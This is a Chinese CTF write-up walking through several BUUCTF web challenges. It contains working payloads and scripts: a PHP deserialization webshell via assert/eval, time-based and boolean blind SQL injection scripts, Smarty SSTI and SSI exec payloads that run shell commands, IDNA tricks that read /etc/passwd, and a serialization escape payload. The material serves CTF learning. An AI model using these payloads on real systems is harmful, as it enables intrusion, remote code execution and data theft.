[NPUCTF2020]ReadlezPHP 进入靶场一个很渗人的东西出现了: 我真的是栓Q,大半夜写的,我给你一拳啊,咳咳。我们右键没用但是不要紧,直接view-source: 发现了一个time.php?source,点进去康康发现源码直接给你了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s" ; $this->b = "date" ; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); } } $c = new HelloPhp; if (isset($_GET['source' ])){ highlight_file(__FILE__); die(0 ); } @$ppp = unserialize($_GET["data" ] );
这个代码读起来很简单,一个构造函数,一个析构函数,重点是:echo $b($a); 想象一下,假如$b=eval,$a=system(‘ls’); 这是不是就能执行一条指令呢? 但是这样是会出错的:Fatal error: Uncaught Error: Call to undefined function eval() in E:\software\PhpStudy\PHPTutorial\WWW\1.php:3 Stack trace: #0 {main} thrown in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3 原因:eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用。不能用$a=eval这种方式去调用,你只能直接写eval上去 eval不能用我们可以用assert(PHP<=7.1)
assert(assertion):如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
所以我们可以构造以下文件:
1 2 3 4 5 6 7 8 9 10 <?php class HelloPhp { public $a='eval($_POST[\'kino\']);' ; public $b="assert" ; } $a=new HelloPhp; echo serialize($a); ?>
很简单的一句话也就是最后我们会执行echo assert(eval($_POST[‘kino’]);),末尾的分号可有可无 这也就是上传了一句话木马,我们payload:?data=O:8:”HelloPhp”:2:{s:1:”a”;s:20:”eval($_POST[‘kino’])”;s:1:”b”;s:6:”assert”;} 用蚁剑连接试试:可以连接,但是点进去后什么也没发现,是空文件夹 应该是没给权限,所以看不了,既然这样不行,我们就换种方法 我们已经可以上传一句话木马了,也就是说明我们可以远程RCE: Payload: 发现无法执行ls指令,用其他的指令也不让用,最后使用phpinfo();,发现有了回显: 那flag只能在这里了,我们搜索一下FLAG: 得到答案
[极客大挑战 2019]FinalSQL 我算了一下,这人出了5个SQL题目,这应该是最后一个了吧 这次过滤的东西感觉太多了哭唧唧 这一题有2个注入点,一个是用户名密码那里,另一个就是在上面的点击神秘代码,也可以有注入点: 注入点1: 注入点2: 注入点1无法使用sleep函数,不能有引号,不能if,也没有括号 注入点2可以使用sleep函数,不能if 所以注入点1大概率是没办法的~ 所以我们在注入点2去注入 方法就是时间盲注,布尔盲注会有429,if被ban了可以用elt()或者interval()
:
之后我就上脚本了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requestsimport timeurl = "http://bf52117c-2f6a-4b88-88d0-987561e4d67a.node4.buuoj.cn:81/search.php" result = '' i = 0 while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 data = { "id" :f"elt(ascii(substr((select(group_concat(password))from`F1naI1y`),{i} ,1))>{mid} ,sleep(0.1))" } t1=time.time() r = requests.get(url,params=data) t2=time.time() print (t2-t1) if t2-t1>0.5 : head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : break print (result)
这是我的时间盲注脚本,还有一个是用布尔盲注,我就把大佬的拿过来拉:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import reimport requestsimport string url = "http://dcf33d60-7ffa-41c0-8915-e935ccbdd37b.node3.buuoj.cn//search.php" flag = '' def payload (i, j ): sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,j) data = {"id" : sql} r = requests.get(url, params=data) if "Click" in r.text: res = 1 else : res = 0 return res def exp (): global flag for i in range (1 , 10000 ): print (i, ':' ) low = 31 high = 127 while low <= high: mid = (low + high) // 2 res = payload(i, mid) if res: low = mid + 1 else : high = mid - 1 f = int ((low + high + 1 )) // 2 if (f == 127 or f == 31 ): break flag += chr (f) print (flag) exp() print ('flag=' , flag)
这边用的是按位异或来判断布尔
[CISCN2019 华东南赛区]Web11 SSTI注入 这一题很露骨了就: 最重要的是下面有个build with smarty 说明就是smarty模板了,那就得考虑ssti注入了,注入点那肯定就是XFF头咯:{$smarty.version}
:来查看smarty的版本: 确认是3.1版本,用以下if语句去执行php代码:{if system('tac /flag')}{/if}
简单的SSTI
[De1CTF 2019]SSRF Me 考点很清晰就是标题写的SSRF了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip ): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self.action, self.param) == self.sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' ,methods=['GET' ,'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" ,"r" ).read() def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content ): return hashlib.md5(content).hexdigest() def waf (param ): check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' )
浅浅的代码审计一下咯~一百来行代码也没啥,因为里面大部分的东西没啥 通过这一题感觉还是稍微的磨砺了我的一点代码审计能力的,居然也看懂了? 首先是定义了一个Task大类,里面大致分为初始化,写入内容,读取内容,检验
四个模块,init就是初始化模块,然后Exec
自定义函数中分为写和读两个模块,当action为scan
时,会把我们param
指定的文件写入一个沙盒内,然后当action为read
时,把写入的内容读出来,在这2个过程中要进行checksign
函数的检查 checksign函数: 将getsign函数的结果和sign参数的值比较,getsign: 设置了一个secret_key,这个我们是不知道的,然后param,action
我们是可控的 还有个产生sign的函数: 我们可以通过这个参数得到sign值,但是action被写死了 所以我们大致的思路很清晰了,就是通过把flag文件写入沙盒,再读取出来
flag文件再./flag.txt
这个题目提示有,我们现在就来构造一下,首先进入genesign路由产生sign: urlopen函数可以去网上了解一下,可以读取文件,直接输入文件名即可: 这样就获得了sign值,然后在challenge路由中进入题目入口,传参: 只返回code200说明成功将flag文件写入沙盒 最后就是想怎么去读取了,由于action被写死是scan了,但是注意 这里只说read在action中即可,没说要完全等于read,而且sign是通过字符串拼接产生的,我们可以如下绕过: 传入flag.txtread
,可以获得flag.txtreadscan
的sign值,然后在challenge界面输入: action中有read,所以就不慌了,这样就可以读出flag拉
还有一种比较冷门的解法就是利用hashpump
进行hash拓展攻击: kali先安装:
1 2 3 4 5 git clone https://github.com/bwall/HashPump apt-get install g++ libssl-dev cd HashPump make make install
之后直接运行脚本得到md5('secret_key+flag.txt'+scan+read)
的值,进行拓展长度估计需要的几个前提条件 我们知道len(secret_key+flag.txt)=24
,也知道md5(secret_key+flag.txt+scan)
的值,所以可以进行拓展估计: 我们把(secret_key+flag.txt)
看成salt,scan
看成message,action
看成padding即可 最后: 也可以得出答案(这里换百分号还是写个脚本吧诶)
[SUCTF 2019]Pythonginx 考点:unicode欺骗,代码审计,nginx 进入即可获得源码;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @app.route ('/getUrl' , methods=['GET' , 'POST' ]) def getUrl (): url = request.args.get ("url" ) host = parse.urlparse (url).hostname if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list (urlsplit (url)) host = parts[1 ] if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] for h in host.split ('.' ): newhost.append (h.encode ('idna' ).decode ('utf-8' )) parts[1 ] = '.' .join (newhost) finalUrl = urlunsplit (parts).split (' ' )[0 ] host = parse.urlparse (finalUrl).hostname if host == 'suctf.cc' : return urllib.request.urlopen (finalUrl).read () else : return "我扌 your problem? 333"
一眼flask框架,这是一些路由和函数 首先呢关于urlsplit函数我记得之前分享过一篇文章: urlsplit: urlunsplit: 也就再次缝合起来
大致的意思理解了,先用unicode欺骗去绕过前两个判断,然后读取文件,先用以下脚本跑出unicode字符:
1 2 3 4 5 6 7 8 9 for i in range (128 ,65537 ): tmp=chr (i) try : res = tmp.encode ('idna' ).decode ('utf-8' ) if ("-" ) in res: continue print ("U:{} A:{} ascii:{} " .format (tmp,res,i)) except: pass
在结果中找转换后为c的,最后payload如下:?url=file://suctf.cⅽ/../../../../etc/passwd
成功读取文件,题目提示nginx,那就看看配置文件:?url=file://suctf.cⅽ/../../../../usr/local/nginx/conf/nginx.conf
: flag在/usr/fffffflag
: 读取即可
还有第二种做法,那就是用//去绕过判断
: parse是解析URL的。PHP上parse能通过/来干扰解码结果,python中也可以 当url为file:////suctf.cc/../../../../../etc/passwd 前两个解析结果为NULL,最后解析为suctf。同样绕过了判断 参考:
[BJDCTF2020]EasySearch 只能说是buu靶场的问题了,这种要扫目录的题我建议就是直接别设置线程啊,那我设到1线程我扫半年啊
dirsearch扫目录发现是泄露了index.php.swp
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php ob_start (); function get_hash ( ) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )]; $content = uniqid ().$random ; return sha1 ($content ); } header ("Content-Type: text/html;charset=utf-8" ); *** if (isset ($_POST ['username' ]) and $_POST ['username' ] != '' ) { $admin = '6d0bc1' ; if ( $admin == substr (md5 ($_POST ['password' ]),0 ,6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" .get_hash ().".shtml" ; $shtml = fopen ($file_shtml , "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST ['username' ].'</h1> *** ***' ; fwrite ($shtml ,$text ); fclose ($shtml ); *** echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; }else { *** } *** ?>
这个代码审计应该不难吧?应该不难吧?应该不难吧?应该不难吧?应该不难吧?应该不难吧? admin写死了,所以要跑个脚本,把md5后前六位是6d0bc1
找出来!:
1 2 3 4 5 6 7 8 9 10 import hashlib for i in range (10000000 ): j=str (i) a=hashlib.md5 (j.encode ("utf-8" )).hexdigest () if a[0 :6 ]=='6d0bc1' : print (i) print (a) print ('find it!' )
这三个随便选好吧,这边admin是个变量不是我们post传的参数,我们用户名随便写一个登入进去: 在标头里找到了shtml文件的位置,访问: 这边kino就是我们可以控制的值,也就是username啦~ 这里讲一下什么是shtml文件
,什么是ssi
注入
SHTML文件(以.shtml文件扩展名的文件)和HTML文件差不多,都是网页文件,只是SHTML文件中有服务器端包含(server-side includes,SSI)指令。它在发送到用户浏览器之前由web服务器进行处理(或解析)——把SHTML文件中包含的SSI指令解释出来,服务器传送给客户端的文件,是已经解释的SHTML,不会有SSI指令——它实现了HTML所没有的功能。
Web 服务器在处理网页的同时处理 SSI 指令。当 Web 服务器(目前最主流的三个Web服务器是Apache、 Nginx 、IIS)遇到 SSI 指令时,直接将包含文件的内容插入 HTML 网页。如果“包含文件”中包含 SSI 指令,则同时插入此文件。除了用于包含文件的基本指令之外,还可以使用 SSI 指令插入文件的相关信息(如文件的大小)或者运行应用程序或 shell 命令。
网站维护常常碰到的一个问题是,网站的结构已经固定,却为了更新一点内容而不得不重做一大批网页。SSI提供了一种简单、有效的方法来解决这一问题,它将一个网站的基本结构放在几个简单的HTML文件中(模板),以后我们要做的只是将文本传到服务器,让程序按照模板自动生成网页,从而使管理大型网站变得容易。
长话短说shtml也就是解析ssi指令的一个类似HTML网页文件: SSI常用指令: 简单例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <html> <head> <meta charset="utf-8" > <title>SSI example</title> </head> <body> <h2>新闻</h2> <p><!-- <p>最后一次更新更新日期:<!-- <!-- <p>最后一次更新更新日期(使用了格式):<!-- <!-- <p></p> </body> </html>
这边我们要利用的指令也就是exec,来进行远程rce 用户名输入<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->
,密码输入2020666
,然后同样的来到刚刚的页面:
[0CTF 2016]piapiapia(反序列化字符逃逸) 考点:代码审计,反序列化参数逃逸
访问www.zip发现有信息泄露,下载下来是一个文件夹,里面有6个php文件:
1 2 3 4 5 6 7 <?php $config ['hostname' ] = '127.0.0.1' ; $config ['username' ] = 'root' ; $config ['password' ] = '' ; $config ['database' ] = '' ; $flag = '' ; ?>
简单的一看就是一个配置文件,flag似乎被摸出了,所以config.php文件中有flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <?php require ('config.php' );class user extends mysql { private $table = 'users' ; public function is_exists ($username ) { $username = parent ::filter ($username ); $where = "username = '$username '" ; return parent ::select ($this ->table, $where ); } public function register ($username , $password ) { $username = parent ::filter ($username ); $password = parent ::filter ($password ); $key_list = Array ('username' , 'password' ); $value_list = Array ($username , md5 ($password )); return parent ::insert ($this ->table, $key_list , $value_list ); } public function login ($username , $password ) { $username = parent ::filter ($username ); $password = parent ::filter ($password ); $where = "username = '$username '" ; $object = parent ::select ($this ->table, $where ); if ($object && $object ->password === md5 ($password )) { return true ; } else { return false ; } } public function show_profile ($username ) { $username = parent ::filter ($username ); $where = "username = '$username '" ; $object = parent ::select ($this ->table, $where ); return $object ->profile; } public function update_profile ($username , $new_profile ) { $username = parent ::filter ($username ); $new_profile = parent ::filter ($new_profile ); $where = "username = '$username '" ; return parent ::update ($this ->table, 'profile' , $new_profile , $where ); } public function __tostring ( ) { return __class__; } } class mysql { private $link = null ; public function connect ($config ) { $this ->link = mysql_connect ( $config ['hostname' ], $config ['username' ], $config ['password' ] ); mysql_select_db ($config ['database' ]); mysql_query ("SET sql_mode='strict_all_tables'" ); return $this ->link; } public function select ($table , $where , $ret = '*' ) { $sql = "SELECT $ret FROM $table WHERE $where " ; $result = mysql_query ($sql , $this ->link); return mysql_fetch_object ($result ); } public function insert ($table , $key_list , $value_list ) { $key = implode (',' , $key_list ); $value = '\'' . implode ('\',\'' , $value_list ) . '\'' ; $sql = "INSERT INTO $table ($key ) VALUES ($value )" ; return mysql_query ($sql ); } public function update ($table , $key , $value , $where ) { $sql = "UPDATE $table SET $key = '$value ' WHERE $where " ; return mysql_query ($sql ); } public function filter ($string ) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode ('|' , $escape ) . '/' ; $string = preg_replace ($escape , '_' , $string ); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode ('|' , $safe ) . '/i' ; return preg_replace ($safe , 'hacker' , $string ); } public function __tostring ( ) { return __class__; } } session_start ();$user = new user ();$user ->connect ($config );
粗略的一看这应该就是一个类的汇总文件,里面连接了mysql数据库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php require_once ('class.php' ); if ($_POST ['username' ] && $_POST ['password' ]) { $username = $_POST ['username' ]; $password = $_POST ['password' ]; if (strlen ($username ) < 3 or strlen ($username ) > 16 ) die ('Invalid user name' ); if (strlen ($password ) < 3 or strlen ($password ) > 16 ) die ('Invalid password' ); if (!$user ->is_exists ($username )) { $user ->register ($username , $password ); echo 'Register OK!<a href="index.php">Please Login</a>' ; } else { die ('User name Already Exists' ); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet" > <script src="static/jquery.min.js" ></script> <script src="static/bootstrap.min.js" ></script> </head> <body> <div class ="container " style ="margin -top :100px "> <form action ="register .php " method ="post " class ="well " style ="width :220px ;margin :0px auto ;"> <img src ="static /piapiapia .gif " class ="img -memeda " style ="width :180px ;margin :0px auto ;"> <h3 >Register </h3 > <label >Username :</label > <input type ="text " name ="username " style ="height :30px "class ="span3 "/> <label >Password :</label > <input type ="password " name ="password " style ="height :30px " class ="span3 "> <button type ="submit " class ="btn btn -primary ">REGISTER </button > </form > </div > </body > </html > <?php } ?>
是一个注册界面,先包含class.php文件,再输入用户名密码,写入数据库,结合class.php里的register方法可以看出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php require_once ('class.php' ); if ($_SESSION ['username' ] == null ) { die ('Login First' ); } $username = $_SESSION ['username' ]; $profile =$user ->show_profile ($username ); if ($profile == null ) { header ('Location: update.php' ); } else { $profile = unserialize ($profile ); $phone = $profile ['phone' ]; $email = $profile ['email' ]; $nickname = $profile ['nickname' ]; $photo = base64_encode (file_get_contents ($profile ['photo' ])); ?> <!DOCTYPE html> <html> <head> <title>Profile</title> <link href="static/bootstrap.min.css" rel="stylesheet" > <script src="static/jquery.min.js" ></script> <script src="static/bootstrap.min.js" ></script> </head> <body> <div class ="container " style ="margin -top :100px "> <img src ="data :image /gif ;base64 ,<?php echo $photo ; ?>" class ="img -memeda " style ="width :180px ;margin :0px auto ;"> <h3 >Hi <?php echo $nickname ;?></h3 > <label >Phone : <?php echo $phone ;?></label > <label >Email : <?php echo $email ;?></label > </div > </body > </html > <?php } ?>
这应该就是填写完信息之后进入的用户界面了,对应class.php中的show_profile方法!这里的photo变量是本题的重点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php require_once ('class.php' ); if ($_SESSION ['username' ]) { header ('Location: profile.php' ); exit ; } if ($_POST ['username' ] && $_POST ['password' ]) { $username = $_POST ['username' ]; $password = $_POST ['password' ]; if (strlen ($username ) < 3 or strlen ($username ) > 16 ) die ('Invalid user name' ); if (strlen ($password ) < 3 or strlen ($password ) > 16 ) die ('Invalid password' ); if ($user ->login ($username , $password )) { $_SESSION ['username' ] = $username ; header ('Location: profile.php' ); exit ; } else { die ('Invalid user name or password' ); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet" > <script src="static/jquery.min.js" ></script> <script src="static/bootstrap.min.js" ></script> </head> <body> <div class ="container " style ="margin -top :100px "> <form action ="index .php " method ="post " class ="well " style ="width :220px ;margin :0px auto ;"> <img src ="static /piapiapia .gif " class ="img -memeda " style ="width :180px ;margin :0px auto ;"> <h3 >Login </h3 > <label >Username :</label > <input type ="text " name ="username " style ="height :30px "class ="span3 "/> <label >Password :</label > <input type ="password " name ="password " style ="height :30px " class ="span3 "> <button type ="submit " class ="btn btn -primary ">LOGIN </button > </form > </div > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php require_once ('class.php' ); if ($_SESSION ['username' ] == null ) { die ('Login First' ); } if ($_POST ['phone' ] && $_POST ['email' ] && $_POST ['nickname' ] && $_FILES ['photo' ]) { $username = $_SESSION ['username' ]; if (!preg_match ('/^\d{11}$/' , $_POST ['phone' ])) die ('Invalid phone' ); if (!preg_match ('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/' , $_POST ['email' ])) die ('Invalid email' ); if (preg_match ('/[^a-zA-Z0-9_]/' , $_POST ['nickname' ]) || strlen ($_POST ['nickname' ]) > 10 ) die ('Invalid nickname' ); $file = $_FILES ['photo' ]; if ($file ['size' ] < 5 or $file ['size' ] > 1000000 ) die ('Photo size error' ); move_uploaded_file ($file ['tmp_name' ], 'upload/' . md5 ($file ['name' ])); $profile ['phone' ] = $_POST ['phone' ]; $profile ['email' ] = $_POST ['email' ]; $profile ['nickname' ] = $_POST ['nickname' ]; $profile ['photo' ] = 'upload/' . md5 ($file ['name' ]); $user ->update_profile ($username , serialize ($profile )); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>' ; } else { ?> <!DOCTYPE html> <html> <head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="stylesheet" > <script src="static/jquery.min.js" ></script> <script src="static/bootstrap.min.js" ></script> </head> <body> <div class ="container " style ="margin -top :100px "> <form action ="update .php " method ="post " enctype ="multipart /form -data " class ="well " style ="width :220px ;margin :0px auto ;"> <img src ="static /piapiapia .gif " class ="img -memeda " style ="width :180px ;margin :0px auto ;"> <h3 >Please Update Your Profile </h3 > <label >Phone :</label > <input type ="text " name ="phone " style ="height :30px "class ="span3 "/> <label >Email :</label > <input type ="text " name ="email " style ="height :30px "class ="span3 "/> <label >Nickname :</label > <input type ="text " name ="nickname " style ="height :30px " class ="span3 "> <label for ="file ">Photo :</label > <input type ="file " name ="photo " style ="height :30px "class ="span3 "/> <button type ="submit " class ="btn btn -primary ">UPDATE </button > </form > </div > </body > </html > <?php } ?>
这个文件应该就是注册完之后进入的界面,写自己的信息,这个文件很重要,这里就是本题的重点! 这么多文件都审计完了一遍后,咱就来分析一下这一题怎么写,一眼望去我以为是在update.php中的上传文件的位置去getshell,但是注意有md5
加密文件名,那后缀名也没了,所以不可能getshell
把重点放在这两个地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $profile ['phone' ] = $_POST ['phone' ]; $profile ['email' ] = $_POST ['email' ]; $profile ['nickname' ] = $_POST ['nickname' ]; $profile ['photo' ] = 'upload/' . md5 ($file ['name' ]); $user ->update_profile ($username , serialize ($profile )); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>' ; } $profile = unserialize ($profile ); $phone = $profile ['phone' ]; $email = $profile ['email' ]; $nickname = $profile ['nickname' ]; $photo = base64_encode (file_get_contents ($profile ['photo' ]));
上面那么多傻缺代码,到这里就简单的不能再简单了,看看,一个序列化,一个反序列化,像不像一对?那肯定就是在这里了,思路是利用反序列化的字符逃逸,让photo='config.php'
,从而file_get_contents
将其输出,这样就能获得flag 字符逃逸怎么用不用我说了吧,比如序列化{s:4:'test';s:3:'bad';}s:4:'good';}
,由于花括号被闭合,后面的参数被略去了,最终test=bad,我们利用这一天也可以使得photo=config.php
目的payload: 字符串";}s:5:"photo";s:10:"config.php";}
为什么有两个花括号呢?:
1 2 if (preg_match ('/[^a-zA-Z0-9_]/' , $_POST ['nickname' ]) || strlen ($_POST ['nickname' ]) > 10 ) die ('Invalid nickname' );
根据update.php中,对nickname的判断可以看到,假如我们想要逃逸,就必须要绕过这2个preg_match,我们要用数组绕过,使他们为null,从而逃过die! 因为是数组,所以形式大概为:(网图,偷懒) 也就是闭合2个括号了,一个是闭合array,一个闭合是整个序列化字段
根据class.php中的filter方法:
1 2 3 4 5 6 7 8 9 public function filter ($string ) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode ('|' , $escape ) . '/' ; $string = preg_replace ($escape , '_' , $string ); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode ('|' , $safe ) . '/i' ; return preg_replace ($safe , 'hacker' , $string ); }
可以发现,在update的过程中,数据是经过了这个函数的过滤的,这里会将单引号转义,所以就别想着sql注入了牡蛎牡蛎 所以重点看到下面的替换,会把'select', 'insert', 'update', 'delete', 'where'
替换为hacker 我们就利用这个来构造payload 这五个字符串中就where
长度为5,比hacker短一个单位,那就只能是他,因为我们的payload字符串";}s:5:"photo";s:10:"config.php";}
字符串的长度肯定是比这整个payload的长度要短的,所以通过添加多个where来平衡!where
长度为5,where";}s:5:"photo";s:10:"config.php";}
长度为39,之间差了34长度,而替换为hacker后多1长度,所以要用34个where 最终payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
这样的话就让photo为config了,从而可以读出来,我们更新一下数据: 这里抓包改为数组类型 然后访问个人资料: 可以看到名字都变成了Array,这是因为nickname是个数组,访问源码: 有一串base64的编码,因为file_get_contents被base64加密了,所以我们解码: 得到最终flag,说了一大堆,也是为了将详细一点,哈哈哈
[BSidesCF 2019]Kookie BUUCTF第二页的最后一题!结束! 这一题很简单咯 登录界面,都提示我们cookie和admin了: ezez